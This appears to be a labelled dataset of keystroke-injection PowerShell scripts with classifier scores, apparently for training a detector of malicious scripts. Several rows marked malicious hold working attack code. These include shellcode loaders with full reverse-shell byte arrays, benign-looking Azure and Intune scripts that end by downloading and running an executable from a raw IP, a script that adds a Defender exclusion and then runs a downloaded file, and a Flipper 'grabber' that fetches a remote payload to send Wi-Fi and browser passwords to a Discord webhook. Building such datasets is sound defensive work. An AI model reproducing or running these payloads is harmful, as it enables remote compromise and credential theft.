0xbb,0x42,0x73,0x9f,0x7a,0xd9,0xc5,0xd9,0x74,0x24,0xf4,0x5f,0x2b,0xc9,0xb1,0x4e,0x31,0x5f,0x15,0x83,0xc7,0x04,0x03,0x5f,0x11,0xe2,0xb7,0x8f,0x77,0xf8,0x37,0x70,0x88,0x9d,0xbe,0x95,0xb9,0x9d,0xa4,0xde,0xea,0x2d,0xaf,0xb3,0x06,0xc5,0xfd,0x27,0x9c,0xab,0x29,0x47,0x15,0x01,0x0f,0x66,0xa6,0x3a,0x73,0xe9,0x24,0x41,0xa7,0xc9,0x15,0x8a,0xba,0x08,0x51,0xf7,0x36,0x58,0x0a,0x73,0xe4,0x4d,0x3f,0xc9,0x34,0xe5,0x73,0xdf,0x3c,0x1a,0xc3,0xde,0x6d,0x8d,0x5f,0xb9,0xad,0x2f,0xb3,0xb1,0xe4,0x37,0xd0,0xfc,0xbf,0xcc,0x22,0x8a,0x3e,0x05,0x7b,0x73,0xec,0x68,0xb3,0x86,0xed,0xad,0x74,0x79,0x98,0xc7,0x86,0x04,0x9a,0x13,0xf4,0xd2,0x2f,0x80,0x5e,0x90,0x97,0x6c,0x5e,0x75,0x41,0xe6,0x6c,0x32,0x06,0xa0,0x70,0xc5,0xcb,0xda,0x8d,0x4e,0xea,0x0c,0x04,0x14,0xc8,0x88,0x4c,0xce,0x71,0x88,0x28,0xa1,0x8e,0xca,0x92,0x1e,0x2a,0x80,0x3f,0x4a,0x47,0xcb,0x57,0xbf,0x65,0xf4,0xa7,0xd7,0xfe,0x87,0x95,0x78,0x54,0x00,0x96,0xf1,0x72,0xd7,0xd9,0x2b,0xc2,0x47,0x24,0xd4,0x32,0x41,0xe3,0x80,0x62,0xf9,0xc2,0xa8,0xe9,0xf9,0xeb,0x7c,0xbd,0xa9,0x43,0x2f,0x7d,0x1a,0x24,0x9f,0x15,0x70,0xab,0xc0,0x05,0x7b,0x61,0x69,0x2d,0x97,0x8a,0x96,0xad,0xfa,0xe5,0xf9,0xd9,0x97,0x9c,0x6b,0x44,0x1f,0x71,0x10,0xe2,0xb1,0xfe,0xf6,0x84,0x28,0x75,0x07,0x30,0x1a,0x5d,0x33,0x40,0xa3,0x4b,0xb0,0x00,0x40,0x1e,0xc2,0xd0,0x10,0xdc,0xcc,0xc1,0xbc,0x69,0x2a,0x8b,0x2c,0x3c,0xe4,0x23,0xd4,0x65,0x7e,0xd2,0x19,0xb0,0xfa,0xd4,0x92,0x37,0xfa,0x9a,0x52,0x3d,0xe8,0x4a,0x93,0x08,0x52,0xdc,0xac,0xa6,0xf9,0xe0,0x38,0x4d,0xa8,0xb7,0xd4,0x4f,0x8d,0xff,0x7a,0xaf,0xf8,0x74,0xb2,0x25,0x43,0xe2,0xbb,0xa9,0x43,0xf2,0xed,0xa3,0x43,0x9a,0x49,0x90,0x17,0xbf,0x95,0x0d,0x04,0x6c,0x00,0xae,0x7d,0xc1,0x83,0xc6,0x83,0x3c,0xe3,0x48,0x7b,0x6b,0xf5,0xb5,0xaa,0x55,0x83,0xd7,0x6e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$ib9l=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($ib9l.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$ib9l,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2254163e-05,0.9999478
"win+r enter powershell enter enter enter function Get-AuthToken { enter [cmdletbinding()] enter enter param enter ( enter [Parameter(Mandatory=$true)] enter $User enter ) enter enter $userUpn = New-Object ""System.Net.Mail.MailAddress"" -ArgumentList $User enter enter $tenant = $userUpn.Host enter enter Write-Host ""Checking for AzureAD module..."" enter enter $AadModule = Get-Module -Name ""AzureAD"" -ListAvailable enter enter if ($AadModule -eq $null) { enter enter Write-Host ""AzureAD PowerShell module not found, looking for AzureADPreview"" enter $AadModule = Get-Module -Name ""AzureADPreview"" -ListAvailable enter enter } enter enter if ($AadModule -eq $null) { enter write-host enter write-host ""AzureAD Powershell module not installed..."" -f Red enter write-host ""Install by running 'Install-Module AzureAD' or 'Install-Module AzureADPreview' from an elevated PowerShell prompt"" -f Yellow enter write-host ""Script can't continue..."" -f Red enter write-host enter exit enter } enter if($AadModule.count -gt 1){ enter enter $Latest_Version = ($AadModule | select version | Sort-Object)[-1] enter enter $aadModule = $AadModule | ? { $_.version -eq $Latest_Version.version } enter if($AadModule.count -gt 1){ enter enter $aadModule = $AadModule | select -Unique enter enter } enter enter $adal = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll"" enter enter } enter enter else { enter enter $adal = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll"" enter enter } enter enter [System.Reflection.Assembly]::LoadFrom($adal) | Out-Null enter enter [System.Reflection.Assembly]::LoadFrom($adalforms) | Out-Null enter enter $clientId = ""d1ddf0e4-d672-4dae-b554-9d5bdfd93547"" enter enter $redirectUri = ""urn:ietf:wg:oauth:2.0:oob"" enter enter $resourceAppIdURI = ""https://graph.microsoft.com"" enter enter $authority = ""https://login.microsoftonline.com/$Tenant"" enter enter try { enter enter $authContext = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext"" -ArgumentList $authority enter $platformParameters = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.PlatformParameters"" -ArgumentList ""Auto"" enter enter $userId = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.UserIdentifier"" -ArgumentList ($User, ""OptionalDisplayableId"") enter enter $authResult = $authContext.AcquireTokenAsync($resourceAppIdURI,$clientId,$redirectUri,$platformParameters,$userId).Result enter if($authResult.AccessToken){ enter $authHeader = @{ enter 'Content-Type'='application/json' enter 'Authorization'=""Bearer "" + $authResult.AccessToken enter 'ExpiresOn'=$authResult.ExpiresOn enter } enter enter return $authHeader enter enter } enter enter else { enter enter Write-Host enter Write-Host ""Authorization Access Token is null, please re-run authentication..."" -ForegroundColor Red enter Write-Host enter break enter enter } enter enter } enter enter catch { enter enter write-host $_.Exception.Message -f Red enter write-host $_.Exception.ItemName -f Red enter write-host enter break enter enter } enter enter } enter Function Get-RemoteActionAudit(){ enter [cmdletbinding()] enter enter $graphApiVersion = ""Beta"" enter $Resource = ""deviceManagement/remoteActionAudits"" enter enter try { enter enter $uri = ""https://graph.microsoft.com/$graphApiVersion/$($Resource)"" enter (Invoke-RestMethod -Uri $uri –Headers $authToken –Method Get).Value enter enter } enter enter catch { enter enter $ex = $_.Exception enter $errorResponse = $ex.Response.GetResponseStream() enter $reader = New-Object System.IO.StreamReader($errorResponse) enter $reader.BaseStream.Position = 0 enter $reader.DiscardBufferedData() enter $responseBody = $reader.ReadToEnd(); enter Write-Host ""Response content:`n$responseBody"" -f Red enter Write-Error ""Request to $Uri failed with HTTP Status $($ex.Response.StatusCode) $($ex.Response.StatusDescription)"" enter write-host enter break enter enter } enter enter } enter write-host enter if($global:authToken){ enter $DateTime = (Get-Date).ToUniversalTime() enter $TokenExpires = ($authToken.ExpiresOn.datetime - $DateTime).Minutes enter enter if($TokenExpires -le 0){ enter enter write-host ""Authentication Token expired"" $TokenExpires ""minutes ago"" -ForegroundColor Yellow enter write-host enter if($User -eq $null -or $User -eq """"){ enter enter $User = Read-Host -Prompt ""Please specify your user principal name for Azure Authentication"" enter Write-Host enter enter } enter enter $global:authToken = Get-AuthToken -User $User enter enter } enter } enter else { enter enter if($User -eq $null -or $User -eq """"){ enter enter $User = Read-Host -Prompt ""Please specify your user principal name for Azure Authentication"" enter Write-Host enter enter } enter $global:authToken = Get-AuthToken -User $User enter enter } enter Get-RemoteActionAudit enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.6625715e-05,0.9999434
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if enter ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);fo enter r ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i] enter , 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.811443e-05,0.9999418
"win+r powershell enter delay_medium enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter unknown_key_action CTRL-SHIFT ENTER enter delay_medium enter unknown_key_action SHIFT TAB enter delay_medium enter enter enter delay_medium enter Add-MpPreference -ExclusionPath C:\Windows\system32 enter enter enter delay_medium enter $down=New-Object System.Net.WebClient;$url='https://github.com/bemxio/mario-head/releases/latest/download/mario_dist.exe';$file='mario_dist.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit enter enter enter",1,1,5.512385e-05,0.9999449
"win+r enter powershell enter enter enter $file = ""c: tab emp enter edditposh.csv"" enter $errorlog = ""c: tab emp enter edditposherrors.txt"" enter enter if (!(Test-Path $file)) { enter 'title,link,time' | Set-Content $file enter } enter $last = ipcsv $file enter enter $to = enter $From = 'address@gmail.com' enter $SMTPServer = 'smtp.gmail.com' enter $SMTPPort = '587' enter $pw = 'password' | ConvertTo-SecureString -AsPlainText -Force enter $cred = New-Object pscredential $from, $pw enter enter function sendcheck ($info) { enter if ($info.link -and @($last | ? link -eq $info.Link).Count -eq 0) { enter $info | epcsv $file -NoTypeInformation -Append enter enter $body = $info.title, $info.link -join ""`n"" enter enter $site = $info.link -replace 'https?://(?:www.)?([^/]+).*', '$1' enter Send-MailMessage -To $to -From $from -Subject $site -Body $body -SmtpServer $smtpserver -Port $SMTPPort -Credential $cred -usessl enter enter if ([bool]$error[0] -and $error[0].exception -notmatch 'module') { enter Get-Date | Add-Content $errorlog enter $error[0] | Add-Content $errorlog enter } enter } enter } enter sendcheck (([xml](iwr reddit.com/r/powershell/new/.rss).content).feed.entry[0] | % { enter [pscustomobject]@{ enter Title = $_.title enter Link = $_.link.href enter Time = Get-Date -f s enter } enter }) enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x67,0x78,0x42,0x68,0x02,0x00,0x11,0x4f,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.129809e-05,0.99994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_dbjdy1w2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.423694e-05
"win+r powershell enter function Test-CWindowsFeature { [CmdletBinding(SupportsShouldProcess=$true)] enter param( [Parameter(Mandatory=$true)] [string] $Name, [Switch] enter",1,1,0.0065660714,0.99343395
"win+r enter powershell enter enter enter function Test-SearchGetSearchResultsAndUpdate enter { enter $rgname = ""mms-eus"" enter $wsname = ""188087e4-5850-4d8b-9d08-3e5b448eaecd"" enter enter $top = 5 enter enter $searchResult = Get-AzOperationalInsightsSearchResults -ResourceGroupName $rgname -WorkspaceName $wsname -Top $top -Query ""*"" enter enter Assert-NotNull $searchResult enter Assert-NotNull $searchResult.Metadata enter Assert-NotNull $searchResult.Value enter Assert-AreEqual $searchResult.Value.Count $top enter $stringType = ""string"".GetType() enter $valueType = $searchResult.Value.GetType() enter $valueIsString = $valueType.GenericTypeArguments.Contains($stringType) enter Assert-AreEqual $true $valueIsString enter enter $idArray = $searchResult.Id.Split(""/"") enter $id = $idArray[$idArray.Length-1] enter $updatedResult = Get-AzOperationalInsightsSearchResults -ResourceGroupName $rgname -WorkspaceName $wsname -Id $id enter enter Assert-NotNull $updatedResult enter Assert-NotNull $updatedResult.Metadata enter Assert-NotNull $searchResult.Value enter } enter function Test-SearchGetSchema enter { enter $wsname = Get-ResourceName enter $dsName = Get-ResourceName enter $rgname = Get-ResourceGroupName enter $wslocation = Get-ProviderLocation enter enter New-AzResourceGroup -Name $rgname -Location $wslocation -Force enter $workspace = New-AzOperationalInsightsWorkspace -ResourceGroupName $rgname -Name $wsname -Location $wslocation -Sku premium -Force enter $schema = Get-AzOperationalInsightsSchema -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-NotNull $schema enter Assert-NotNull $schema.Metadata enter Assert-AreEqual $schema.Metadata.ResultType ""schema"" enter Assert-NotNull $schema.Value enter } enter function Test-SearchGetSavedSearchesAndResults enter { enter $rgname = ""mms-eus"" enter $wsname = ""188087e4-5850-4d8b-9d08-3e5b448eaecd"" enter enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter enter Assert-NotNull $savedSearches enter Assert-NotNull $savedSearches.Value enter enter $idArray = $savedSearches.Value[0].Id.Split(""/"") enter $id = $idArray[$idArray.Length-1] enter enter $savedSearch = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id enter enter Assert-NotNull $savedSearch enter Assert-NotNull $savedSearch.ETag enter Assert-NotNull $savedSearch.Id enter Assert-NotNull $savedSearch.Properties enter Assert-NotNull $savedSearch.Properties.Query enter enter $savedSearchResult = Get-AzOperationalInsightsSavedSearchResults -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id enter enter Assert-NotNull $savedSearchResult enter Assert-NotNull $savedSearchResult.Metadata enter Assert-NotNull $savedSearchResult.Value enter } enter function Test-SearchSetAndRemoveSavedSearches enter { enter $wsname = Get-ResourceName enter $dsName = Get-ResourceName enter $rgname = Get-ResourceGroupName enter $wslocation = Get-ProviderLocation enter enter New-AzResourceGroup -Name $rgname -Location $wslocation -Force enter $workspace = New-AzOperationalInsightsWorkspace -ResourceGroupName $rgname -Name $wsname -Location $wslocation -Sku premium -Force enter enter $id = ""test-new-saved-search-id-2015"" enter $displayName = ""TestingSavedSearch"" enter $category = ""Saved Search Test Category"" enter $version = 1 enter $query = ""* | measure Count() by Computer"" enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter $count = $savedSearches.Value.Count enter $newCount = $count + 1 enter $tags = @{""Group"" = ""Computer""} enter enter New-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id -DisplayName $displayName -Category $category -Query $query -Tag $tags -Version $version -Force enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-AreEqual $savedSearches.Value.Count $newCount enter enter $etag = """" enter ForEach ($s in $savedSearches.Value) enter { enter If ($s.Properties.DisplayName.Equals($displayName)) { enter $etag = $s.ETag enter } enter } enter $query = ""* | distinct Computer"" enter Set-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id -DisplayName $displayName -Category $category -Query $query -Tag $tags -Version $version -ETag $etag enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-AreEqual $savedSearches.Value.Count $newCount enter enter $found = 0 enter $hasTag = 0 enter ForEach ($s in $savedSearches.Value) enter { enter If ($s.Properties.DisplayName.Equals($displayName) -And $s.Properties.Query.Equals($query)) { enter $found = 1 enter If ($s.Properties.Tags[""Group""] -eq ""Computer"") { enter $hasTag = 1 enter } enter } enter } enter Assert-AreEqual $found 1 enter Assert-AreEqual $hasTag 1 enter Remove-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname -SavedSearchId $id enter $savedSearches = Get-AzOperationalInsightsSavedSearch -ResourceGroupName $rgname -WorkspaceName $wsname enter Assert-AreEqual $savedSearches.Value.Count $count enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x05,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1443192e-05,0.9999485
"win+r enter powershell enter enter enter  enter function Test-MabGetContainers enter { enter $vault = Get-AzRecoveryServicesVault -ResourceGroupName ""pstestrg"" -Name ""pstestrsvault""; enter $containers = Get-AzRecoveryServicesBackupContainer ` enter -VaultId $vault.ID ` enter -ContainerType ""Windows"" ` enter -BackupManagementType ""MARS""; enter enter Assert-AreEqual $containers[0].FriendlyName ""ADIT-PC.FAREAST.CORP.MICROSOFT.COM""; enter enter $namedContainer = Get-AzRecoveryServicesBackupContainer ` enter -VaultId $vault.ID ` enter -ContainerType ""Windows"" ` enter -BackupManagementType ""MARS"" ` enter -FriendlyName ""ADIT-PC.FAREAST.CORP.MICROSOFT.COM""; enter Assert-AreEqual $namedContainer.FriendlyName ""ADIT-PC.FAREAST.CORP.MICROSOFT.COM""; enter } enter enter function Test-MabUnregisterContainer enter { enter $vault = Get-AzRecoveryServicesVault -ResourceGroupName ""pstestrg"" -Name ""pstestrsvault""; enter enter $container = Get-AzRecoveryServicesBackupContainer ` enter -VaultId $vault.ID ` enter -ContainerType ""Windows"" ` enter -BackupManagementType ""MARS"" ` enter -FriendlyName ""ADIT-PC.FAREAST.CORP.MICROSOFT.COM""; enter Assert-AreEqual $container.FriendlyName ""ADIT-PC.FAREAST.CORP.MICROSOFT.COM""; enter enter Unregister-AzRecoveryServicesBackupContainer -VaultId $vault.ID -Container $container; enter $container = Get-AzRecoveryServicesBackupContainer ` enter -VaultId $vault.ID ` enter -ContainerType ""Windows"" ` enter -BackupManagementType ""MARS"" ` enter -FriendlyName ""ADIT-PC.FAREAST.CORP.MICROSOFT.COM""; enter Assert-Null $container; enter } enter enter",0,0,0.9999473,5.264715e-05
"win+r powershell enter Function Get-Something { PARAM ( [Alias(""CN"", ""__SERVER"", ""PSComputerName"")] enter [String[]]$ComputerName = $env:COMPUTERNAME, [Alias(""RunAs"")] [System.Manag enter ement.Automation.Credential()] [pscredential] $Credential = [System.Management enter .Automation.PSCredential]::Empty ) enter",1,1,0.008750616,0.99124944
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Ultimate Flipper Grabber enter REM Author: blobs0 (https://github.com/blobs0/Ultimate-Flipper-Grabber) enter REM Credit Discord webhooks functions :I-am-jakoby enter REM Credit Wifi grabber : 7h30th3r0n3 and the0bone enter REM Credit Password Nirsoft : moosehadley enter REM Target: Windows 10/11 (7/8 not tested) enter REM Supported Layout keyboard: US/FR/DE enter REM Version: 1.1 enter REM Category: Grabber enter REM Extrait l'antivirus, les mots de passe wifi et de navigateur vers un webhook discord. enter DELAY 2000 enter GUI r enter DELAY 1000 enter STRING powershell enter ENTER enter DELAY 1000 enter REM edit your webhook here enter STRING $DiscordUrl = 'Your-Discord-Webhook' enter ENTER enter STRING iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/blobs0/Ultimate-Flipper-Grabber/main/payload.ps1')) enter ENTER enter DELAY 500 enter STRING version-av enter ENTER enter STRING Wifi enter ENTER enter STRING Get-Nirsoft enter ENTER enter DELAY 5000 enter STRING wbpv28821@ enter ENTER enter STRING .\WebBrowserPassView.exe enter ENTER enter DELAY 3000 enter CTRL A enter CTRL S enter DELAY 1000 enter STRING c: tab emp\export.txt enter ENTER enter DELAY 1000 enter DUCKY_REAL_END enter",1,1,6.2332496e-05,0.99993765
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_vxm0i11g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4214805e-05
win+r powershell enter win space Terminal enter x=$(curl ifconfig.me) enter osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@' enter win w enter enter,1,1,0.0005608716,0.99943906
win+r enter powershell enter enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter Describe 'System.Diagnostics.Process' { enter It 'processes have ParentProcessID' { enter $parents = @{} enter Get-WmiObject Win32_Process | enter ForEach-Object { $parents[$_.ProcessID] = $_.ParentProcessID } enter enter $foundSome = $false enter Get-Process | enter Where-Object { $parents.ContainsKey( [UInt32]$_.Id ) -and $_.ParentProcessID } | enter ForEach-Object { enter $foundSome = $true enter $expectedID = $parents[ [UInt32]$_.Id ] enter $_.ParentProcessID | Should -Be $expectedID enter } enter $foundSome | Should -Be $true enter } enter enter } enter enter,0,0,0.99994695,5.3033087e-05
